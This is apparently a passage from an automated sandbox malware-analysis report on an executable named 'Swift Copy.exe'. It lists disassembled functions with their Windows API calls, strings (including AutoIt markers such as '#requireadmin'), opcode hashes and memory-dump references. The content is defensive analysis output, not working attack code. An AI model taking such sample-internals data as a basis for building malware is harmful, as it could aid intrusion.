Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: ba57166e1101fefd9a59682a1dbcfd34862bed014c3cc292fa428072393764ca
Instruction ID: 7423608a9af96fbfb9606642575d82467e5da14bef601ce50754fb88f1d1a318
Opcode Fuzzy Hash: ba57166e1101fefd9a59682a1dbcfd34862bed014c3cc292fa428072393764ca
Instruction Fuzzy Hash: 43413C72900218BEDB10DBA4CC41AEEBBB8EB05714F104056EA55B7281DB716E85DBA1

Function 00DA172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Swift Copy.exe,00000104), ref: 00DA1769
_free.LIBCMT ref: 00DA1834
_free.LIBCMT ref: 00DA183E

Strings

C:\Users\user\Desktop\Swift Copy.exe, xrefs: 00DA1760, 00DA1767, 00DA1796, 00DA17CE

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\Swift Copy.exe
API String ID: 2506810119-7014349
Opcode ID: 223fe266accfad9245829b5b911898c59503ba0c17e14df8738736f7fecac2aa
Instruction ID: b48d844d9962b080cb74f596bbccc3156d276c0ada9b5f7297566f97d465f6ce
Opcode Fuzzy Hash: 223fe266accfad9245829b5b911898c59503ba0c17e14df8738736f7fecac2aa
Instruction Fuzzy Hash: A631A279A44218FFCB21DFA99881D9EBBFCEB86310F1441A6F404D7211D6B08E81DBB4

Function 00DDC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00DDC306
DeleteMenu.USER32(?,00000007,00000000), ref: 00DDC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00E41990,00F47290), ref: 00DDC395

Strings

0, xrefs: 00DDC2DF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 4c150814171d816d23721fc9692c41c191320fa743cf249049f4dc144f784d32
Instruction ID: a1128744710fdf9dd2bd4cfe9758bee3c89078061ff56f9f447370c6a8629530
Opcode Fuzzy Hash: 4c150814171d816d23721fc9692c41c191320fa743cf249049f4dc144f784d32
Instruction Fuzzy Hash: 43418D712143429FDB24DF29D884B1ABBA4EF85320F14961EE9A5973D1D730E904CB72

Function 00E04416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00E0CC08,00000000,?,?,?,?), ref: 00E044AA
GetWindowLongW.USER32 ref: 00E044C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E044D7

Strings

SysTreeView32, xrefs: 00E0447C

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a3f5c350bf3f1dfcc55a46c7eafacd0621968ec71677771acebe18e41c645522
Instruction ID: c0778ae5aed117eddc54bce4f487d6a596ed68914ba3983fc7ebb68c2765c7e7
Opcode Fuzzy Hash: a3f5c350bf3f1dfcc55a46c7eafacd0621968ec71677771acebe18e41c645522
Instruction Fuzzy Hash: CE31BEB1200205AFDF219F78DC45BEA7BA9EB08338F205315FA79A21D0D771EC909760

Function 00DF304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00DF3077,?,?), ref: 00DF3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00DF307A
_wcslen.LIBCMT ref: 00DF309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00DF3106

Strings

255.255.255.255, xrefs: 00DF3095, 00DF309A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: dca2ee7920f935db9220182b363a9da53d80ec362acb22a0f7a4b6600ccfd65e
Instruction ID: bea8db0c56ed2a581259018e6ecea001bb629eb9c60464bd9b0b2aead0aec86c
Opcode Fuzzy Hash: dca2ee7920f935db9220182b363a9da53d80ec362acb22a0f7a4b6600ccfd65e
Instruction Fuzzy Hash: 0231A1356002099FCB10CF68C485E7A77E0EF54358F2AC059EA158B392DB72EE45C771

Function 00E04653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00E04705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00E04713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00E0471A

Strings

msctls_updown32, xrefs: 00E04684

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 9be9f3c5f78a7675f6ecf10fd568b76740139e29201885b51bfd6db030b4db6e
Instruction ID: 9003922e39e1373bee823094f6a0a2fd16e0c82aee64eb62e27b4babceb23fd2
Opcode Fuzzy Hash: 9be9f3c5f78a7675f6ecf10fd568b76740139e29201885b51bfd6db030b4db6e
Instruction Fuzzy Hash: 852181F5600209AFDB10DF68DD91DA737ADEF9A358B041049F600A72A1DB71EC91CA70

Function 00DD95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DD961D

Strings

#notrayicon, xrefs: 00DD95B7
#OnAutoItStartRegister, xrefs: 00DD95F3
#requireadmin, xrefs: 00DD95D9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: f55c614f1e952a36a19a9a5530c7c5846285ae2adfe1d46f7c5a0924c7c31c1b
Instruction ID: 299014e1bae53b3164460c929cc915466821e7c03a8983d485557286468557bf
Opcode Fuzzy Hash: f55c614f1e952a36a19a9a5530c7c5846285ae2adfe1d46f7c5a0924c7c31c1b
Instruction Fuzzy Hash: FA21383220425166C731BB249C22FBBF398DF51710F184437F94997285EB56ED92C3B5

Function 00E037B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00E03840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00E03850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00E03876

Strings

Listbox, xrefs: 00E0380F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 4ce222513808466bc14ee9e0c5e7c29fc506c781124fb3be0bb57001a83669c9
Instruction ID: a860233e8b4ccff0529386b9d50ee866ea43538fd323a7ed1410828f6ed4ef19
Opcode Fuzzy Hash: 4ce222513808466bc14ee9e0c5e7c29fc506c781124fb3be0bb57001a83669c9
Instruction Fuzzy Hash: 5C21DE72600218BFEF218F65CC81EAB376EEF89754F109125F944AB1D0CA72DC9287A0

Function 00DE49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DE4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00DE4A5C
SetErrorMode.KERNEL32(00000000,?,?,00E0CC08), ref: 00DE4AD0

Strings

%lu, xrefs: 00DE4A6F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 6bf3051863351303ede7d01abb24a10a72fa6ff57325041a62b834e763270f3e
Instruction ID: fe454761d0f91dcabbafa25973a397ec7953d06cf720b65b400c348cf94f8a80
Opcode Fuzzy Hash: 6bf3051863351303ede7d01abb24a10a72fa6ff57325041a62b834e763270f3e
Instruction Fuzzy Hash: 86315375A00109AFDB10DF55C985EAABBF8EF08318F1480A5F509EB252D771ED45CB71

Function 00E041EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00E0424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00E04264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00E04271

Strings

msctls_trackbar32, xrefs: 00E04226

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: ec0073170520f4eba235556bad8b006d5bc6b6d8167e99021b73c80a95334755
Instruction ID: 88543b3bf01b5f9afd5948c067ef6d8f63c3d4f9743dc5980743b2bc6eaf11b1
Opcode Fuzzy Hash: ec0073170520f4eba235556bad8b006d5bc6b6d8167e99021b73c80a95334755
Instruction Fuzzy Hash: 9E11A3B1340248BEEF205F69CC06FAB3BACEF95B58F111518FA55F60E0D671D8A19B20

Function 00DD2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

Part of subcall function 00DD2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00DD2DC5
Part of subcall function 00DD2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00DD2DD6
Part of subcall function 00DD2DA7: GetCurrentThreadId.KERNEL32 ref: 00DD2DDD
Part of subcall function 00DD2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00DD2DE4

GetFocus.USER32 ref: 00DD2F78

Part of subcall function 00DD2DEE: GetParent.USER32(00000000), ref: 00DD2DF9

GetClassNameW.USER32(?,?,00000100), ref: 00DD2FC3
EnumChildWindows.USER32(?,00DD303B), ref: 00DD2FEB

Strings

%s%d, xrefs: 00DD2FFF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: ca1251244f0d00a16864a5bc2dcd564f0a4ec1884fa6138f328a4e7211c012fe
Instruction ID: cb68c1518a8f41171e7da23e222cbdc3efa276fc8e9a3b32cecef395c3ebb089
Opcode Fuzzy Hash: ca1251244f0d00a16864a5bc2dcd564f0a4ec1884fa6138f328a4e7211c012fe
Instruction Fuzzy Hash: E511E4712002056BCF247F709C86EFD376AEFA4304F148076F909AB292EE319A49CB70

Function 00E05882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00E058C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00E058EE
DrawMenuBar.USER32(?), ref: 00E058FD

Strings

0, xrefs: 00E0588F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 742a0e215006aceef509b23bb96b2abca134cf0cecd7a310a13adeb5fcee6a49
Instruction ID: 4f722820af6a7c6d91536fa6f656b5ca7bab9270699fa0a8d9a7a7679ec33a57
Opcode Fuzzy Hash: 742a0e215006aceef509b23bb96b2abca134cf0cecd7a310a13adeb5fcee6a49
Instruction Fuzzy Hash: A2013536500218EEDB219F51DC44BABBBB4FB85365F1080A9E859E6191DB308AD4EF31

Function 00DD007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9937649dd65c5e7e07bc2ca43804987a5f616458977048fa195fa7edd1e63b49
Instruction ID: 54f604a50c128869272fb731f8cb069d1eb25ac76549ce8d382332ca54d1de77
Opcode Fuzzy Hash: 9937649dd65c5e7e07bc2ca43804987a5f616458977048fa195fa7edd1e63b49
Instruction Fuzzy Hash: F5C12A75A00206AFDB14CFA8C894BAEBBB5FF88704F248599E505EB251D731DE41CBA4

Function 00DF342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00DF3459
CoUninitialize.OLE32 ref: 00DF3463
VariantInit.OLEAUT32(?), ref: 00DF346E
VariantClear.OLEAUT32(?), ref: 00DF371B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 6653d478ae54711c09e792408e325b7a5167685ea660b03ce6eb88ef3e67dfe0
Instruction ID: c1e41ec9c78bec429dd744c7df617a496e39d11593ab9b022492f3d038fd2a7f
Opcode Fuzzy Hash: 6653d478ae54711c09e792408e325b7a5167685ea660b03ce6eb88ef3e67dfe0
Instruction Fuzzy Hash: D4A11B756042049FC710EF28C485A2AB7E5FF88714F16C959F9899B362DB30EE45CBB1

Function 00DD0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00E0FC08,?), ref: 00DD05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00E0FC08,?), ref: 00DD0608
CLSIDFromProgID.OLE32(?,?,00000000,00E0CC40,000000FF,?,00000000,00000800,00000000,?,00E0FC08,?), ref: 00DD062D
_memcmp.LIBVCRUNTIME ref: 00DD064E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: bc34f470800bc06339212b1688ce85aba694233a3ab1eb8111531c1d6fb30dff
Instruction ID: 82a7010ea35f44a51ca74c5a55d912509631d6e23eaf7438e6fafd5bf8108107
Opcode Fuzzy Hash: bc34f470800bc06339212b1688ce85aba694233a3ab1eb8111531c1d6fb30dff
Instruction Fuzzy Hash: 5A811B71A00109EFCB04DF94C984EEEBBB9FF89315F244599E506AB250DB71AE46CF60

Function 00DB1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00DB14C0

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

